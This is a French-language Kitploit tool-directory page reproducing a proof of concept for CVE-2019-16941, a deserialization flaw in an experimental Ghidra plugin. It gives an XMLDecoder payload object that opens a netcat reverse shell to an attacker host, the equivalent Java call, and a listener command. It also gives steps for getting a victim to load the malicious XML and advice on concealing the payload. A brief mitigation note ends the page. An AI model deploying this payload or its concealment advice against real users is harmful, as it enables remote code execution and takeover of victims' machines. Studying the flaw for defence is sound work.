Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-16941 — PoC pour CVE-2019-16941 | Kitploit
Outils/GitHubGitHub/purpleracc00n/cve-2019-16941
Analyse des VulnérabilitésAnalyse de CodeExploitationRétro-ingénierieDéveloppement de Charges UtilesExploitation de Binaires
GitHubpurpleracc00n/cve-2019-16941

CVE-2019-16941

PoC pour CVE-2019-16941

Voir le dépôt
4il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-16941

Preuve de concept :

La vulnérabilité nécessite plusieurs conditions relativement improbables pour être déclenchée, ce qui limite son exploitabilité. Cependant, il faut peu d'efforts et de compréhension pour préparer une charge utile, étant donné que celle-ci peut aboutir à une exécution de code arbitraire.

Création de la charge utile :

Pour créer une charge utile que la cible exécutera, un script intégré à Ghidra peut être utilisé. Pour y accéder, cliquez sur « Window » -> « Script Manager » et exécutez « DumpFunctionPatternInfoScript.java » avec les paramètres par défaut sur n'importe quel binaire que vous avez inclus dans le Code Browser (mais assurez-vous que le chemin du dossier dans lequel vous souhaitez enregistrer la sortie existe). Ce script produit un fichier de sortie XML qui sera ensuite chargé dans le composant vulnérable.

Figure 1 Création d'un modèle pour la charge utile

Ce modèle XML peut être utilisé pour injecter l'objet qui sera désérialisé en code Java et exécuté silencieusement, sans alerter l'utilisateur. Essentiellement, le code malveillant sera inséré comme un objet supplémentaire à la fin du fichier XML, avant la balise fermante . Un exemple de charge utile objet représentant un shell inverse est le suivant :

root@kitploit:~
<object class="java.lang.Runtime" method="getRuntime"> 
  <void method="exec"> 
    <string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string> 
  </void> 
</object>

Ce qui précède sera désérialisé en code Java suivant :

root@kitploit:~
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")

Les options sont illimitées en termes de charge utile, puisque n'importe quel code Java (même un logiciel malveillant sophistiqué) peut être exécuté de cette manière, à condition qu'il soit correctement sérialisé au format XML requis par XMLDecoder. Il faut être prudent si la charge utile est insérée ailleurs dans le modèle (afin de la dissimuler davantage), car cela pourrait produire des exceptions lors de la désérialisation, alertant ainsi l'utilisateur.

Exécution :

Le processus par lequel la charge utile est exécutée utilise l'interface graphique de Ghidra et ne peut pas être automatisé. Il requiert plutôt une interaction humaine de la part de la victime, ce qui représente une autre condition pour que l'exploit s'exécute.

Pour que cet exploit fonctionne sur l'ordinateur de la victime, Ghidra doit avoir le plugin expérimental « FunctionBitPatternsExplorer » activé. Cela peut être réalisé en suivant les étapes ci-dessous :

Figure 2 Activer le plugin expérimental

Ensuite, l'utilisateur devra ouvrir le plugin depuis « Window » -> « Function Bit Patterns Explorer » et charger le fichier XML à l'aide de la fonctionnalité « Read XML Files ». Cela soulève toutefois un autre défi pour la section des conditions. L'attaquant a besoin d'un moyen d'amener l'utilisateur à télécharger la charge utile XML sur sa machine.

Du point de vue de la victime, la fonction ne permet pas de voir les fichiers XML dans la liste, donc si votre répertoire semble vide, c'est normal. Si vous commencez à taper leur nom dans la zone de texte « File name », ils apparaîtront ; cependant, il est important de n'en sélectionner aucun et de laisser le sélecteur pointer vers le répertoire, car il choisira les fichiers tout seul.

Figure 3 Exécution de la charge utile

Avant que l'utilisateur ne clique sur « OK », l'attaquant (joe) devra avoir un écouteur actif sur son hôte distant et attendre la connexion. Cela peut facilement être réalisé en utilisant :

root@kitploit:~
$ nc -lvnp <listening_port>

Après l'exécution, les résultats peuvent être vus ci-dessous :

Figure 4 Shell inverse

La vulnérabilité a très peu de chances d'être exploitable à grande échelle en raison de la multitude de conditions impliquées. Jusqu'à ce qu'un nouveau correctif soit fourni, les meilleures mesures d'atténuation consistent à désactiver (ou à ne pas activer en premier lieu) le plugin expérimental concerné. Cependant, si le plugin doit être utilisé, les fichiers XML devraient provenir d'une source de confiance.

Télécharger l’outil